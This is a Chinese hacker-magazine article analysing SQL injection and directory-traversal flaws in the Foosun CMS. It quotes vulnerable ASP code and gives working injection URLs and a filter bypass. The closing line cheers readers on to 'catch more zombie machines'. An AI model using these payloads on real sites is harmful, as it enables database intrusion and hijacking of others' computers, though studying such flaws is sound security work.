再暴风讯整站系统漏洞
来源:红狼
文章发表于《黑客防线》0802期
再暴风讯整站系统漏洞
图/文
Cool_wXd
在这里住管前一段时间风讯爆出了两个高危的注入漏洞,再看了oldjun与flyh4t的检测之后我的心也有些痒了,于是也从网上下载了程序检测起来,下面看我的分析报告吧!
风讯的防SQL注入是通过NoSqlHack进行过滤的,不过管理员在写程序的时候总是容易疏忽,我想我们钻的也就是这样的漏洞吧。好了,我们切入正题,经过我的检测,我发现在oldjun与flyh4t发布的两个漏洞之外还是有别的注入的,首先选一个比较明显的注入漏洞吧,我们看user/ order_pay.asp的代码:
行379-382
if request.QueryString("Act")="Edit" then
gdID = request.QueryString("gdID")
if gdID="" then response.Redirect("lib/Error.asp?ErrorUrl=&ErrCodes=<li>必要的gdID没有提供</li>") : response.End()
VClass_Sql = "select gdID,ClassID,Title,Content,InfoType,ClassType,AccessFile,UserNumber,AdminName,ClassMember,PerPageNum from FS_ME_GroupDebateManage where (UserNumber = '" & Fs_User.UserNumber & "' OR AdminName = '" & Fs_User.UserNumber & "') And gdID="&gdID这样明显的一个漏洞我想也只能说是由于风讯的疏忽造成的了,gdID在获取以后没有经过任何过滤便进行SQL语句的执行中。大家看我的演示,页面中的位置是修改社群分类。
首先构造URL并提交:http://localhost/User/GroupClass.asp?Act=Edit&gdID=1 and 1=1,结果返回正常,如图
然后我们再次构造URL并提交:http://localhost/User/GroupClass.asp?Act=Edit&gdID=1 and 1=2,结果返回错误,如图
而且我们查询表段FS_ME_Card,返回正常,如图
我这里测试的是ACCESS版本的,所以用的语句是and exists (select count(*) from 表名)。由于这套系统的数据库FS400.mdb和FS_ME.mdb是分开的两个数据库,而管理员和用户的账号、密码都是存放在FS400.mdb中的,所以这个注入漏洞在ACCESS数据库上也只能是鸡肋漏洞,不过如果对应的是SQL数据库并且有一定权限的话,相信还是有很高的利用价值的。
接下来我们看一看order_pay.asp
行13-19
if Request.QueryString("Action") = "lock_order" then
User_Conn.execute("Delete From FS_ME_Order
where OrderNumber='"& Request.QueryString("OrderNumber")&"' and UserNumber='"& Fs_User.UserNumber &"'")
User_Conn.execute("Delete From FS_ME_Order_detail
where OrderNumber='"& Request.QueryString("OrderNumber")&"'")
strShowErr = "<li>操作定单成功!</li>"
Response.Redirect("lib/Success.asp?ErrCodes="&Server.URLEncode(strShowErr)&"&ErrorUrl=")
Response.end
End if
相信了解SQL注入的朋友应该不用我说就可以看出来了,两条SQL语句两个注入漏洞,我们来确定下漏洞是否真的存在,看我的演示,再页面中出现这部分的是在订单管理部分:
首先我们进行一次再现冲值,然后就会产生一个在线冲值的定单,如图
定单号就是200812-997612KF,由于定单号是字符串的所以我们按照字符串注入方式
我们先构造URL并提交:
http://localhost/User/Order_Pay.asp?action=lock_order&OrderNumber=200812-997612KF' and exists (select count(*) from FS_ME_order1) and ''=' 结果返回错误,如图
大家注意我这里的语句是' and exists (select count(*) from FS_ME_order1) and ''=',因为FS_ME_order1(注意多了一个1)在数据库FS_ME.mdb里是不存在的,所以当然就出错了。
然后我们再次构造URL并提交:
http://localhost/User/Order_Pay.asp?action=lock_order&OrderNumber=200812-997612KF' and exists (select count(*) from FS_ME_order) and ''='
结果返回正确,如图
这也就证明了注入漏洞也是存在的,不过可惜的是这个订单的表段也是在数据库FS_ME.mdb中的利用方面应该和前面的注入漏洞一样,如果朋友们幸运的画能碰到高权限MSSQL数据库的话,应该有很好的效果。另外还有几处类似这两个注入的鸡肋漏洞大家感兴趣的话可以挖掘一下。
在我看系统代码时候,想起了原来的一个可以遍历目录的漏洞于是也从新看了一下原来漏洞的文件,发现管理员在修补这些漏洞的时候做得不是很好,我们来具体的看一下,首先我们看一下代码,我们以User/Commpages/SelectPic.asp为例,代码如下:
行35-39:
LimitUpFileFlag = Request("LimitUpFileFlag")
CurrPath = Request("CurrPath")
If ReplaceExpChar(Replace(CurrPath,"/","")) = False Then
Response.Write "<script>alert('您想干什么?\n您的IP已经被记录!\n我们将收集您部分计算机资料');window.location.href='javascript:history.back();';</script>"
Response.End
这个是我们在浏览上传文件时候的函数,其中CurrPath就是我们的路径,首先经过replace函数以后将”/”用空字符替换掉了,然后再经过ReplaceExpChar函数,那我们就来看看这个ReplaceExpChar函数吧,代码如下:
Function ReplaceExpChar(Str)
Dim RegEx,StrRs,S_Str,ReturnV,HaveV
S_Str = Str & ""
ReturnV = True
Set RegEx = New RegExp
RegEx.IgnoreCase = True
RegEx.Global=True
RegEx.Pattern = "([^a-zA-Z0-9])"
Set StrRs = RegEx.ExeCute(S_Str)
Set RegEx = Nothing
For Each HaveV In StrRs
If Instr(S_Str,HaveV) <> 0 Then
ReturnV = False
Exit For
End IF
Next
ReplaceExpChar = ReturnV
End Function
主要作用就是检测在字符串中是否含有除a-zA-Z0-9以外的字符串,如果含有的话就会返回False,我想朋友们也看出来了,过滤得不严,可以使我们遍历部分目录,而且在目录不存在的时候也是可以生成一个文件夹的。看我的操作,首先找到一个上传的页面,如图
复制上面的URL,我这里的URL是
http://localhost/User/CommPages/SelectPic.asp?CurrPath=/UserFiles/0123533I6HA&f_UserNumber=0123533I6HA
这里CurrPath=/UserFiles/0123533I6HA我们修改成CurrPath=/admin/其他不变并提交,返回如图
目录还是可以遍历部分的,而且也可以通过浏览会员列表查看其他会员上传的图片,只要目录是由a-zA-Z0-9构成就可以,这样的漏洞就需要大家去想想构造的方法了。值得庆幸的是,风讯的默认数据库所在文件夹是Foosun_Data,含有一个字符”_”,如果不含有这个字符的话,我想风讯又要遭殃了。
看了前几期oldjun与flyh4t文章,能读到他们挖掘出来利用价值很高的漏洞也感觉很高兴,今天由于时间的关系也只能看这么多了,虽然都是些鸡肋漏洞我想对于我们研究脚本也是有一定的帮助的,幸运的话还可以后好的收获,今天正好是元旦,Coo_wXd在这里祝各位新年快乐,08年多多挖漏洞多多抓肉鸡哦!